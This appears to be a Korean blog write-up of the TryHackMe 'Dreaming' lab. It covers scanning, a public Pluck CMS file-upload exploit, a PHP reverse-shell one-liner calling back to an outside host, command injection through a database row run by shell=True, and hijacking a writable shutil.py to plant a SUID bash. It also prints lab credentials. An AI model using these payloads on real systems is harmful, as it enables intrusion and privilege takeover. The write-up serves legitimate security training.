Review
레벨이 Easy로 분류되어 있어서 그런지 공부했던 지식 범위 안에서 사고하면서 풀 수 있었던 문제다. 서버의 Shell을 얻는 과정이 그렇게 어렵진 않았지만 적정한 도구와 Password Dictionary를 고르는건 아직 감이 안 잡힌다.
서버 Shell의 얻고 나서 각 사용자마다의 flag를 얻는 과정이 기초적인 접근 권한을 잘 살펴보는 것으로 풀린다는 것이 인상깊다. Enumeration을 한 뒤 해당 Enumeration의 어느 부분을 살펴볼지에 대한 것도 아직 어렵지만 차근차근 보다보면 특이한 점을 캐치해낼 수 있는 것을 방향으로 삼아 lucien, death, morpheus를 어떤 식으로 공략해야할지 힌트를 찾아내는 것도 흥미롭다.
중간에 생각나지 않은 테크닉들은 생각조차 떠올릴 수 없어서 다른 WriteUp을 참고했지만 이런 식의 공략 방법이 있었지를 상기해보는 것이 큰 도움이 되었다.
TL; DR;
이 Challenge에서 답으로 제출해야하는 플래그는 총 3개이다.
서버 접근 권한을 탈취하기 위해 취약한 CMS를 찾고 해당 CMS의 공개된 Exploit을 수행한다. 서버 접근 권한을 탈취하고 나면 linpeas를 통해 서버 내의 취약파일을 점검한다. 해당 점검을 통해 나온 파일들의 소유권한을 통해 차례차례 공략해나가는 방식이다.
- lucien
- Enumeration을 통해 /opt/test.py에 lucien의 소유 및 그룹 권한을 파일이 존재한다. other에게도 읽기 및 실행 권한이 존재한다. 해당 파일을 열어보면 lucien의 플래그가 보인다.
- death
- death의 home 디렉토리에 getDreasm.py가 있고, /opt/getDreams.py가 있다. 두 파일이 어떤식으로 연관되어있는지는 모르나 /opt/getDreams.py가 death의 home 디렉토리에 존재하는 getDreams.py의 코드인 듯 싶다.
- getDreams.py에는 DB에 저장된 데이터를 출력하는 파이썬 코드가 작성되어있다. 해당 코드는 읽어들인 데이터를 shell에서 실행할 수 있게 만드는 취약성이 존재한다.
- lucien의 home 디렉토리에서 DB에 접속할 수 있는 기록을 확인할 수 있으며 이를 활용해 DB에 접속한 뒤 death의 home 디렉토리에 존재하는 getDreams.py를 읽도록 데이터를 INSERT 하면 플래그를 얻어낼 수 있다.
- morpheus
- Enumeration 단계에서 mopheus의 권한으로 1분마다 실행되는 cron을 발견할 수 있다. 해당 cron은 morpheus의 홈 디렉터리에 존재하는 restore.py를 실행한다.
- restore.py는 shutil 패키지의 copy2 함수를 사용한다. 그러나 shutil은 접근 권한이 걸려있지 않아 수정이 가능하며 copy2() 에서 chmod 777을 걸어 morpheus의 flag를 확인하게 권한을 수정할 수 있다.
Scan
Nmap
Port Scan을 시도해서 대상 서버에 어떤 포트가 열려있는지 알아내보자.
Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-12-02 16:22 KST
Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 5.10% done; ETC: 16:23 (0:01:14 remaining)
Nmap scan report for 10.49.164.31
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:e1:4a:43:f5:0a:e6:f8:8d:a9:07:d5:db:d6:06:cd (RSA)
| 256 d7:d2:66:72:74:16:6a:1c:2c:0d:be:06:b9:d5:49:c6 (ECDSA)
|_ 256 1e:d2:2d:d0:e7:e5:05:2a:2f:9e:63:09:fc:6d:e6:ff (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 48.33 seconds
Gobuster
제공된 IP 주소로 접속하면 Apache2 Ubuntu Default Page가 나온다. 대상 서버에 접근 가능한 다른 경로는 없는지 Gobuster를 사용해서 알아내보자.
╭─jako@prompt-pro ~/private/tryhackme/dreaming
╰─$ gobuster dir -w /Users/jako/private/cyber-skill-utils/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u <http://10.49.164.31/>
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://10.49.164.31/>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /Users/jako/private/cyber-skill-utils/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/app (Status: 301) [Size: 310] [--> <http://10.49.164.31/app/>]
/server-status (Status: 403) [Size: 277]
“/app” 이라는 경로로 접근하면 “http://10.48.147.52/app/pluck-4.7.13/?file=dreaming” 로 이동할 수 있게 되고 페이지에 admin 이라는 글자를 통해서 Admin 페이지에 접근할 수 있게끔 되어있다.
Threat
admin 페이지에서는 비밀번호를 요구한다. 무차별 대입 공격을 통해 알아낼 수 있겠지만 그러기 전에 시도할 수 있는 알려진 password를 입력했더니 로그인이 가능했다.
admin page의 password는 password이다.
Gaining Shell
여기까지의 과정에서 대상 서버는 pluck-4.7.13 이라는 CMS를 사용하는 것을 알 수 있다. 해당 정보로 searchsploit에 검색을 해보자,
╰─$ searchsploit -t pluck
(중략)
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated) | php/webapps/49909.py
Exploit이 가능한 정보가 들어있다.
╰─$ searchsploit -p 49909
Exploit: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
URL: <https://www.exploit-db.com/exploits/49909>
Path: /opt/homebrew/opt/exploitdb/share/exploitdb/exploits/php/webapps/49909.py
Codes: CVE-2020-29607
Verified: True
File Type: ASCII text, with very long lines (18080)
Copied EDB-ID #49909's path to the clipboard
해당 Exploit 코드는 실행 인자로 다음 4가지 정보를 요구한다.
'''
User Input:
'''
target_ip = sys.argv[1] # 대상 서버 IP
target_port = sys.argv[2] # 대상 서버 PORT
password = sys.argv[3] # Admin Password
pluckcmspath = sys.argv[4] # 경로
추가적으로 해당 Exploit Code의 내용을 읽어보니 특정 파일을 업로드 하는 형태이기에 하단에 reverse shell 로 사용할 file을 따로 지정했다.
data="./reverse.phar"
이제 다음과 같이 실행하자.
╰─$ python /opt/homebrew/opt/exploitdb/share/exploitdb/exploits/php/webapps/49909.py 10.48.147.52 80 password /app/pluck-4.7.13
Authentification was succesfull, uploading webshell
Uploaded Webshell to: <http://10.48.147.52:80/app/pluck-4.7.13/files/shell.phar>
이제 업로드 된 URL에 접근해 reverse shell로 통신을 열자.
php -r '$sock=fsockopen("192.168.137.48",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
여기까지 해서 대상 서버의 shell 까지 접근할 수 있다.
Enumeration
linpeas.sh를 이용해서 대상 서버에 특이한 점은 없는지 살펴보자. linpeas.sh를 이용하면 여러 결과가 나오는데 특이한 점은 “/opt” 경로에 다음과 같은 파일이 있음을 볼 수 있다.
╔══════════╣ Unexpected in /opt (usually empty)
total 16
drwxr-xr-x 2 root root 4096 Aug 15 2023 .
drwxr-xr-x 20 root root 4096 Dec 2 07:21 ..
-rwxrw-r-- 1 death death 1574 Aug 15 2023 getDreams.py
-rwxr-xr-x 1 lucien lucien 483 Aug 7 2023 test.py
Escalate
lucien
“/opt/test.py’를 열어보니 lucien의 password가 보인다.
$ cat /opt/test.py
import requests
#Todo add myself as a user
url = "<http://127.0.0.1/app/pluck-4.7.13/login.php>"
password = "HeyLucien#@1999!"
data = {
"cont1":password,
"bogus":"",
"submit":"Log+in"
}
req = requests.post(url,data=data)
if "Password correct." in req.text:
print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
print("Something is wrong. Status Code: " + str(req.status_code))
print("Results:\\n" + req.text)
$
lucien으로 ssh 로그인 이후 home 디렉토리를 보면 다음과 같은 내용이 보인다.
lucien@ip-10-48-147-52:~$ ls -al
total 44
drwxr-xr-x 5 lucien lucien 4096 Aug 25 2023 .
drwxr-xr-x 6 root root 4096 May 18 2025 ..
-rw------- 1 lucien lucien 684 Aug 25 2023 .bash_history
-rw-r--r-- 1 lucien lucien 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 lucien lucien 3771 Feb 25 2020 .bashrc
drwx------ 3 lucien lucien 4096 Jul 28 2023 .cache
drwxrwxr-x 4 lucien lucien 4096 Jul 28 2023 .local
-rw-rw---- 1 lucien lucien 19 Jul 28 2023 lucien_flag.txt
-rw------- 1 lucien lucien 696 Aug 25 2023 .mysql_history
-rw-r--r-- 1 lucien lucien 807 Feb 25 2020 .profile
drwx------ 2 lucien lucien 4096 Jul 28 2023 .ssh
-rw-r--r-- 1 lucien lucien 0 Jul 28 2023 .sudo_as_admin_successful
.bash_history를 보니 shutil.py에 대해 편집한 기록과 DB 접속 로그가 들어있다.
cd python3.8
nano shutil.py
...
mysql -u lucien -plucien42DBPASSWORD
뭔가의 단서라고 짐작된다.
death
이제 death의 home 디렉토리와 sudo -l로 lucien의 관리자 명령어를 실행시킬 수 있는 파일을 찾아보자.
lucien@ip-10-48-147-52:/home/death$ ls -al
total 56
drwxr-xr-x 4 death death 4096 Aug 25 2023 .
drwxr-xr-x 6 root root 4096 May 18 2025 ..
-rw------- 1 death death 427 Aug 25 2023 .bash_history
-rw-r--r-- 1 death death 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 death death 3771 Feb 25 2020 .bashrc
drwx------ 3 death death 4096 Jul 28 2023 .cache
-rw-rw---- 1 death death 21 Jul 28 2023 death_flag.txt
-rwxrwx--x 1 death death 1539 Aug 25 2023 getDreams.py
drwxrwxr-x 4 death death 4096 Jul 28 2023 .local
-rw------- 1 death death 465 Aug 25 2023 .mysql_history
-rw-r--r-- 1 death death 807 Feb 25 2020 .profile
-rw------- 1 death death 8157 Aug 7 2023 .viminfo
-rw-rw-r-- 1 death death 165 Jul 29 2023 .wget-hsts
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ <https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid>
Matching Defaults entries for lucien on ip-10-49-164-31:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin
User lucien may run the following commands on ip-10-49-164-31:
(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
특이한 점은 getDream.py가 death의 home 디렉토리에 그리고 /opt에도 들어있다는 점이다. death의 home directory에 들어있는 getDreams.py는 다른 사용자도 실행할 수 있는 권한이 부여되어있다.
lucien@ip-10-48-147-52:/home/death$ ls -al
...
-rwxrwx--x 1 death death 1539 Aug 25 2023 getDreams.py
lucien@ip-10-48-147-52:/home/death$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
lucien이 death의 권한으로 getDreams.py를 실행할 수 있다. 또한 “/opt/getDreams.py”에 들어있는 코드를 살펴보자.
lucien@ip-10-48-147-52:/home/death$ cat /opt/getDreams.py
import mysql.connector
import subprocess
# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"
import mysql.connector
import subprocess
def getDreams():
try:
# Connect to the MySQL database
connection = mysql.connector.connect(
host="localhost",
user=DB_USER,
password=DB_PASS,
database=DB_NAME
)
# Create a cursor object to execute SQL queries
cursor = connection.cursor()
# Construct the MySQL query to fetch dreamer and dream columns from dreams table
query = "SELECT dreamer, dream FROM dreams;"
# Execute the query
cursor.execute(query)
# Fetch all the dreamer and dream information
dreams_info = cursor.fetchall()
if not dreams_info:
print("No dreams found in the database.")
else:
# Loop through the results and echo the information using subprocess
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
except mysql.connector.Error as error:
# Handle any errors that might occur during the database connection or query execution
print(f"Error: {error}")
finally:
# Close the cursor and connection
cursor.close()
connection.close()
# Call the function to echo the dreamer and dream information
getDreams()
DB에서 내용을 읽어 그대로 실행한다. 취약한 부분이라고 본다면..
shell = subprocess.check_output(command, text=True, shell=True)
이 부분이다. 이제 정리해보자.
- “/home/death/getDreams.py” 는 death의 권한으로 실행할 수 있다.
- /opt/getDreams.py를 보니 DB에 있는 내용을 읽어 shell을 통해서 실행한다.
- /home/death/getDreams.py은 DB에서 내용을 읽어서 실행하니 DB 테이블에 shell 명령어를 삽입해두면 death의 권한으로 명령어를 실행
사실 여기서 한 가지 의문이 생겼다. /opt/getDreams.py 가 /home/death/getDreams.py 과 무슨 상관이 있는가? 파일 이름만 같은데?
두 파일의 연관성은 찾지 못했는데 이건 그냥 힌트가 아닐까 싶다. “/home/death/getDreams.py”의 코드는 “/opt/getDreams.py” 라고 알려주는 게 아닐런지.. 그렇게 생각하고 이어나가보자. 이제 DB 테이블에 데이터를 넣어보자.
이건 앞선 lucien의 home 디렉토리에서 찾았던 DB 접속 명령어를 통해서 접근할 수 있다.
mysql -u lucien -plucien42DBPASSWORD
lucien@ip-10-48-147-52:~$ mysql -u lucien -plucien42DBPASSWORD
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \\g.
Your MySQL connection id is 11
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| library |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.02 sec)
mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams |
+-------------------+
1 row in set (0.00 sec)
mysql>
mysql> INSERT INTO dreams (dreamer, dream) VALUES ('cat /home/death/getDreams.py | bash', '-l');
Query OK, 1 row affected (0.01 sec)
mysql>
mysql>
mysql> COMMIT;
Query OK, 0 rows affected (0.00 sec)
이제 다시 getDreams.py를 실행하면 death의 비밀번호가 보인다.
lucien@ip-10-48-147-52:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
import mysql.connector
import subprocess
# MySQL credentials
DB_USER = "death"
DB_PASS = "!mementoMORI666!"
DB_NAME = "library"
def getDreams():
try:
# Connect to the MySQL database
connection = mysql.connector.connect(
host="localhost",
user=DB_USER,
password=DB_PASS,
database=DB_NAME
)
# Create a cursor object to execute SQL queries
cursor = connection.cursor()
# Construct the MySQL query to fetch dreamer and dream columns from dreams table
query = "SELECT dreamer, dream FROM dreams;"
# Execute the query
cursor.execute(query)
# Fetch all the dreamer and dream information
dreams_info = cursor.fetchall()
if not dreams_info:
print("No dreams found in the database.")
else:
# Loop through the results and echo the information using subprocess
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
except mysql.connector.Error as error:
# Handle any errors that might occur during the database connection or query execution
print(f"Error: {error}")
finally:
# Close the cursor and connection
cursor.close()
connection.close()
# Call the function to echo the dreamer and dream information
getDreams()
morpheous
restore.py는 1분마다 실행된다. 이는 Enumeration 단계에서 확인할 수 있다.
lucien@ip-10-48-147-52:/home/morpheus$ ls -al
total 44
drwxr-xr-x 3 morpheus morpheus 4096 Aug 7 2023 .
drwxr-xr-x 6 root root 4096 May 18 2025 ..
-rw------- 1 morpheus morpheus 58 Aug 14 2023 .bash_history
-rw-r--r-- 1 morpheus morpheus 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 morpheus morpheus 3771 Feb 25 2020 .bashrc
-rw-rw-r-- 1 morpheus morpheus 22 Jul 28 2023 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28 2023 .local
-rw-rw---- 1 morpheus morpheus 28 Jul 28 2023 morpheus_flag.txt
-rw-r--r-- 1 morpheus morpheus 807 Feb 25 2020 .profile
-rw-rw-r-- 1 morpheus morpheus 180 Aug 7 2023 restore.py
-rw-rw-r-- 1 morpheus morpheus 66 Jul 28 2023 .selected_editor
lucien@ip-10-48-147-52:/home/morpheus$ find / -name "shutil.py" 2>/dev/null
/usr/lib/python3.8/shutil.py
lucien@ip-10-48-147-52:/home/morpheus$ ls -al /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Mar 18 2025 /usr/lib/python3.8/shutil.py
death@ip-10-48-147-52:/home/morpheus$ cat /usr/lib/python3.8/shutil.py | grep -n copy2
59:__all__ = ["copyfileobj", "copyfile", "copymode", "copystat", "copy", "copy2",
422:def copy2(src, dst, *, follow_symlinks=True):
460: use_srcentry = copy_function is copy2 or copy_function is copy
488: # otherwise let the copy occur. copy2 will raise an error
516:def copytree(src, dst, symlinks=False, ignore=None, copy_function=copy2,
550: destination path as arguments. By default, copy2() is used, but any
752:def move(src, dst, copy_function=copy2)
vim /usr/lib/python3.8/shutil.py
def copy2(src, dst, *, follow_symlinks=True):
os.system("cp /bin/bash /home/morpheus/bash && chmod +s /home/morpheus/bash")
"""Copy data and metadata. Return the file's destination.
'Pentest > TryHackMe' 카테고리의 다른 글
| TryHackMe : Cheese (1) | 2025.12.08 |
|---|---|
| TryHackMe : gallery (0) | 2025.12.05 |
| [TryHackMe] Develpy (0) | 2023.09.28 |
| [TryHackMe] Valley (0) | 2023.08.30 |
| [TryHackMe] Pickle Rick (0) | 2023.08.19 |